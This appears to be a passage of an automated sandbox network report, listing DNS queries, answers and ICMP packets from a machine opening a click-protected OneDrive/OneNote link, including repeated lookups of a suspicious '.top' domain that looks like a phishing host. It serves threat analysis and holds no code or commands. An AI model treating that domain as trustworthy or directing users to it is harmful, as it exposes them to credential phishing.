Oct 25, 2024 10:19:20.781174898 CEST	51065	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.781456947 CEST	55594	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.782715082 CEST	63514	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.782897949 CEST	56853	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.842495918 CEST	55533	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.842650890 CEST	61122	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.906008959 CEST	50273	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:20.906241894 CEST	51594	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:22.198473930 CEST	63570	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:22.198717117 CEST	61030	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:22.199506044 CEST	53154	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:22.199692965 CEST	58961	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:22.223922968 CEST	53	61030	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:25.288486004 CEST	62325	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:25.288871050 CEST	55194	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:31.689829111 CEST	60902	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:31.690017939 CEST	52448	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:37.394524097 CEST	53	64130	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:38.624563932 CEST	53	57249	1.1.1.1	192.168.2.6
Oct 25, 2024 10:19:46.995948076 CEST	50788	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:46.996200085 CEST	59651	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:46.996520042 CEST	53754	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:46.996660948 CEST	63752	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:46.996939898 CEST	54777	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:46.997067928 CEST	63877	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:48.383297920 CEST	63137	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:48.383454084 CEST	65369	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:53.572710037 CEST	64420	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:53.572961092 CEST	50843	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:19:53.605313063 CEST	53	50843	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:05.369877100 CEST	53	53087	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:11.775835037 CEST	63460	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:11.775988102 CEST	54189	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:11.784694910 CEST	53	54189	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:14.532929897 CEST	61184	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:14.533185959 CEST	53705	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:14.545207977 CEST	53	53705	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:14.718447924 CEST	53	61184	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:16.646401882 CEST	53818	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:16.647844076 CEST	57129	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:16.648236990 CEST	58643	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:16.648643017 CEST	60407	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:16.654530048 CEST	53	53818	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:16.655546904 CEST	53	57129	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:16.656128883 CEST	53	58643	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:16.656313896 CEST	53	60407	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:25.474756002 CEST	53	51524	1.1.1.1	192.168.2.6
Oct 25, 2024 10:20:27.397739887 CEST	59874	53	192.168.2.6	1.1.1.1
Oct 25, 2024 10:20:27.400461912 CEST	64093	53	192.168.2.6	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 25, 2024 10:18:39.676176071 CEST	192.168.2.6	1.1.1.1	c2c7	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:18:46.692675114 CEST	192.168.2.6	1.1.1.1	c338	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:18:48.131256104 CEST	192.168.2.6	1.1.1.1	c2b8	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:18:49.201853037 CEST	192.168.2.6	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:19:17.093523026 CEST	192.168.2.6	1.1.1.1	c2b2	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:19:22.223988056 CEST	192.168.2.6	1.1.1.1	c275	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:19:25.322973967 CEST	192.168.2.6	1.1.1.1	c298	(Port unreachable)	Destination Unreachable
Oct 25, 2024 10:19:53.450026035 CEST	192.168.2.6	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 10:18:38.003426075 CEST	192.168.2.6	1.1.1.1	0xdf	Standard query (0)	klickskydd.skolverket.org	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:38.003691912 CEST	192.168.2.6	1.1.1.1	0x3827	Standard query (0)	klickskydd.skolverket.org	65	IN (0x0001)	false
Oct 25, 2024 10:18:39.628108978 CEST	192.168.2.6	1.1.1.1	0xf2b7	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:39.628386021 CEST	192.168.2.6	1.1.1.1	0xaa72	Standard query (0)	onedrive.live.com	65	IN (0x0001)	false
Oct 25, 2024 10:18:41.957778931 CEST	192.168.2.6	1.1.1.1	0x24d8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:41.957901955 CEST	192.168.2.6	1.1.1.1	0xfcbc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 25, 2024 10:18:46.517354012 CEST	192.168.2.6	1.1.1.1	0x7037	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:46.517570972 CEST	192.168.2.6	1.1.1.1	0xcb9b	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:18:46.987190008 CEST	192.168.2.6	1.1.1.1	0x1a0a	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:46.987366915 CEST	192.168.2.6	1.1.1.1	0x42d8	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:08.905692101 CEST	192.168.2.6	1.1.1.1	0x1946	Standard query (0)	messaging.engagement.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:08.905857086 CEST	192.168.2.6	1.1.1.1	0xf63	Standard query (0)	messaging.engagement.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:10.490355968 CEST	192.168.2.6	1.1.1.1	0x884d	Standard query (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:10.490554094 CEST	192.168.2.6	1.1.1.1	0x11ce	Standard query (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top	65	IN (0x0001)	false
Oct 25, 2024 10:19:10.895415068 CEST	192.168.2.6	1.1.1.1	0xc81a	Standard query (0)	messaging.engagement.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:10.895613909 CEST	192.168.2.6	1.1.1.1	0xa0f7	Standard query (0)	messaging.engagement.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:10.917068005 CEST	192.168.2.6	1.1.1.1	0x13af	Standard query (0)	spoprod-a.akamaihd.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:10.917506933 CEST	192.168.2.6	1.1.1.1	0xa855	Standard query (0)	spoprod-a.akamaihd.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:14.266506910 CEST	192.168.2.6	1.1.1.1	0x1617	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.266875982 CEST	192.168.2.6	1.1.1.1	0x5be9	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:14.269315004 CEST	192.168.2.6	1.1.1.1	0x7196	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:14.269874096 CEST	192.168.2.6	1.1.1.1	0x4536	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:17.078282118 CEST	192.168.2.6	1.1.1.1	0x256a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.078790903 CEST	192.168.2.6	1.1.1.1	0x4c81	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:17.924685001 CEST	192.168.2.6	1.1.1.1	0x1b1d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:17.925323009 CEST	192.168.2.6	1.1.1.1	0x7155	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.016591072 CEST	192.168.2.6	1.1.1.1	0xf08e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.016758919 CEST	192.168.2.6	1.1.1.1	0x449f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.017808914 CEST	192.168.2.6	1.1.1.1	0x9995	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.018013000 CEST	192.168.2.6	1.1.1.1	0x5d1	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.610845089 CEST	192.168.2.6	1.1.1.1	0xeb7d	Standard query (0)	fa000000012.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.611059904 CEST	192.168.2.6	1.1.1.1	0x2211	Standard query (0)	fa000000012.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.613255978 CEST	192.168.2.6	1.1.1.1	0xe1b8	Standard query (0)	fa000000096.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.613600969 CEST	192.168.2.6	1.1.1.1	0xfc04	Standard query (0)	fa000000096.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.615598917 CEST	192.168.2.6	1.1.1.1	0x671b	Standard query (0)	fa000000110.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.615902901 CEST	192.168.2.6	1.1.1.1	0x38c7	Standard query (0)	fa000000110.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.617964029 CEST	192.168.2.6	1.1.1.1	0x4a35	Standard query (0)	fa000000111.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.618205070 CEST	192.168.2.6	1.1.1.1	0x775d	Standard query (0)	fa000000111.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.621328115 CEST	192.168.2.6	1.1.1.1	0xbc14	Standard query (0)	fa000000128.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.621648073 CEST	192.168.2.6	1.1.1.1	0x1d48	Standard query (0)	fa000000128.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.624916077 CEST	192.168.2.6	1.1.1.1	0x47f4	Standard query (0)	fa000000138.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.625056982 CEST	192.168.2.6	1.1.1.1	0x983f	Standard query (0)	fa000000138.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:19.654705048 CEST	192.168.2.6	1.1.1.1	0xc40a	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:19.654892921 CEST	192.168.2.6	1.1.1.1	0x42c7	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.274245977 CEST	192.168.2.6	1.1.1.1	0x760b	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.274396896 CEST	192.168.2.6	1.1.1.1	0xe231	Standard query (0)	www.onenote.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.775573015 CEST	192.168.2.6	1.1.1.1	0xa465	Standard query (0)	fa000000096.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.775722027 CEST	192.168.2.6	1.1.1.1	0x3313	Standard query (0)	fa000000096.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.776782036 CEST	192.168.2.6	1.1.1.1	0xcc90	Standard query (0)	fa000000128.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.776901007 CEST	192.168.2.6	1.1.1.1	0xeb8d	Standard query (0)	fa000000128.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.777996063 CEST	192.168.2.6	1.1.1.1	0x53b0	Standard query (0)	fa000000110.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.778175116 CEST	192.168.2.6	1.1.1.1	0xe671	Standard query (0)	fa000000110.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.779782057 CEST	192.168.2.6	1.1.1.1	0xb05e	Standard query (0)	fa000000012.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.779922962 CEST	192.168.2.6	1.1.1.1	0x3706	Standard query (0)	fa000000012.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.781174898 CEST	192.168.2.6	1.1.1.1	0xa1ff	Standard query (0)	fa000000111.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.781456947 CEST	192.168.2.6	1.1.1.1	0x1fec	Standard query (0)	fa000000111.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.782715082 CEST	192.168.2.6	1.1.1.1	0xb0d	Standard query (0)	fa000000138.resources.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.782897949 CEST	192.168.2.6	1.1.1.1	0xb33c	Standard query (0)	fa000000138.resources.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.842495918 CEST	192.168.2.6	1.1.1.1	0x7630	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.842650890 CEST	192.168.2.6	1.1.1.1	0x7d1b	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:20.906008959 CEST	192.168.2.6	1.1.1.1	0xb4eb	Standard query (0)	augloop.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:20.906241894 CEST	192.168.2.6	1.1.1.1	0x92f0	Standard query (0)	augloop.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:22.198473930 CEST	192.168.2.6	1.1.1.1	0xcbf7	Standard query (0)	storage.live.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:22.198717117 CEST	192.168.2.6	1.1.1.1	0xa3d0	Standard query (0)	storage.live.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:22.199506044 CEST	192.168.2.6	1.1.1.1	0xf0aa	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:22.199692965 CEST	192.168.2.6	1.1.1.1	0xbe50	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:25.288486004 CEST	192.168.2.6	1.1.1.1	0xf77e	Standard query (0)	augloop.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:25.288871050 CEST	192.168.2.6	1.1.1.1	0xe91b	Standard query (0)	augloop.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:31.689829111 CEST	192.168.2.6	1.1.1.1	0x3880	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:31.690017939 CEST	192.168.2.6	1.1.1.1	0x1638	Standard query (0)	www.onenote.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:46.995948076 CEST	192.168.2.6	1.1.1.1	0xf0f2	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:46.996200085 CEST	192.168.2.6	1.1.1.1	0xce05	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:46.996520042 CEST	192.168.2.6	1.1.1.1	0xa2fe	Standard query (0)	m365cdn.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:46.996660948 CEST	192.168.2.6	1.1.1.1	0x8c53	Standard query (0)	m365cdn.nel.measure.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:46.996939898 CEST	192.168.2.6	1.1.1.1	0x1a7d	Standard query (0)	onenoteonline.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:46.997067928 CEST	192.168.2.6	1.1.1.1	0xc6fb	Standard query (0)	onenoteonline.nel.measure.office.net	65	IN (0x0001)	false
Oct 25, 2024 10:19:48.383297920 CEST	192.168.2.6	1.1.1.1	0x7455	Standard query (0)	common.online.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:48.383454084 CEST	192.168.2.6	1.1.1.1	0x35f1	Standard query (0)	common.online.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:19:53.572710037 CEST	192.168.2.6	1.1.1.1	0x9c7a	Standard query (0)	westeurope-pd02.augloop.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:53.572961092 CEST	192.168.2.6	1.1.1.1	0x157d	Standard query (0)	westeurope-pd02.augloop.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:20:11.775835037 CEST	192.168.2.6	1.1.1.1	0x875e	Standard query (0)	westeurope-pd02.augloop.office.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:11.775988102 CEST	192.168.2.6	1.1.1.1	0xfbba	Standard query (0)	westeurope-pd02.augloop.office.com	65	IN (0x0001)	false
Oct 25, 2024 10:20:14.532929897 CEST	192.168.2.6	1.1.1.1	0x4382	Standard query (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:14.533185959 CEST	192.168.2.6	1.1.1.1	0x3db6	Standard query (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top	65	IN (0x0001)	false
Oct 25, 2024 10:20:16.646401882 CEST	192.168.2.6	1.1.1.1	0xe517	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.647844076 CEST	192.168.2.6	1.1.1.1	0x3c39	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 25, 2024 10:20:16.648236990 CEST	192.168.2.6	1.1.1.1	0xa0fc	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:16.648643017 CEST	192.168.2.6	1.1.1.1	0x958	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 25, 2024 10:20:27.397739887 CEST	192.168.2.6	1.1.1.1	0x24ae	Standard query (0)	www.onenote.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:20:27.400461912 CEST	192.168.2.6	1.1.1.1	0x7668	Standard query (0)	www.onenote.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 10:18:38.201596022 CEST	1.1.1.1	192.168.2.6	0x3827	No error (0)	klickskydd.skolverket.org	clickprotection.skolverket.se		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:38.207148075 CEST	1.1.1.1	192.168.2.6	0xdf	No error (0)	klickskydd.skolverket.org	clickprotection.skolverket.se		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:38.207148075 CEST	1.1.1.1	192.168.2.6	0xdf	No error (0)	clickprotection.skolverket.se		193.235.52.43	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:39.636708975 CEST	1.1.1.1	192.168.2.6	0xf2b7	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:39.636708975 CEST	1.1.1.1	192.168.2.6	0xf2b7	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:39.636708975 CEST	1.1.1.1	192.168.2.6	0xf2b7	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:39.636708975 CEST	1.1.1.1	192.168.2.6	0xf2b7	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:39.636708975 CEST	1.1.1.1	192.168.2.6	0xf2b7	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:39.676100969 CEST	1.1.1.1	192.168.2.6	0xaa72	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:39.676100969 CEST	1.1.1.1	192.168.2.6	0xaa72	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:41.965893030 CEST	1.1.1.1	192.168.2.6	0xfcbc	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 25, 2024 10:18:41.967124939 CEST	1.1.1.1	192.168.2.6	0x24d8	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:46.525120974 CEST	1.1.1.1	192.168.2.6	0x7037	No error (0)	common.online.office.com	common-geo.wac.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:46.525120974 CEST	1.1.1.1	192.168.2.6	0x7037	No error (0)	common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:46.525120974 CEST	1.1.1.1	192.168.2.6	0x7037	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:46.525120974 CEST	1.1.1.1	192.168.2.6	0x7037	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:46.525917053 CEST	1.1.1.1	192.168.2.6	0xcb9b	No error (0)	common.online.office.com	common-geo.wac.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:46.994628906 CEST	1.1.1.1	192.168.2.6	0x1a0a	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:46.994692087 CEST	1.1.1.1	192.168.2.6	0x42d8	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:48.117552996 CEST	1.1.1.1	192.168.2.6	0xee04	No error (0)	onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:48.117552996 CEST	1.1.1.1	192.168.2.6	0xee04	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:48.117552996 CEST	1.1.1.1	192.168.2.6	0xee04	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:49.181134939 CEST	1.1.1.1	192.168.2.6	0xea99	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:49.181134939 CEST	1.1.1.1	192.168.2.6	0xea99	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:49.181134939 CEST	1.1.1.1	192.168.2.6	0xea99	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:52.943429947 CEST	1.1.1.1	192.168.2.6	0xa517	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:52.943429947 CEST	1.1.1.1	192.168.2.6	0xa517	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:52.943429947 CEST	1.1.1.1	192.168.2.6	0xa517	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:55.080476046 CEST	1.1.1.1	192.168.2.6	0xfb65	No error (0)	onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:18:55.080476046 CEST	1.1.1.1	192.168.2.6	0xfb65	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:18:55.080476046 CEST	1.1.1.1	192.168.2.6	0xfb65	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:08.904593945 CEST	1.1.1.1	192.168.2.6	0xa746	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:08.905230045 CEST	1.1.1.1	192.168.2.6	0x9399	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:08.913141966 CEST	1.1.1.1	192.168.2.6	0x1946	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:08.913568020 CEST	1.1.1.1	192.168.2.6	0xf63	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:10.797465086 CEST	1.1.1.1	192.168.2.6	0x11ce	No error (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top			65	IN (0x0001)	false
Oct 25, 2024 10:19:10.818623066 CEST	1.1.1.1	192.168.2.6	0xbae8	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:10.819608927 CEST	1.1.1.1	192.168.2.6	0xa42f	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:10.902555943 CEST	1.1.1.1	192.168.2.6	0xc81a	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:10.903523922 CEST	1.1.1.1	192.168.2.6	0xa0f7	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:19:10.905977011 CEST	1.1.1.1	192.168.2.6	0x884d	No error (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top		172.67.167.62	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:10.905977011 CEST	1.1.1.1	192.168.2.6	0x884d	No error (0)	ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top		104.21.16.104	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:19:10.925127983 CEST	1.1.1.1	192.168.2.6	0x13af	No error (0)	spoprod-a.akamaihd.net	spoprod-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
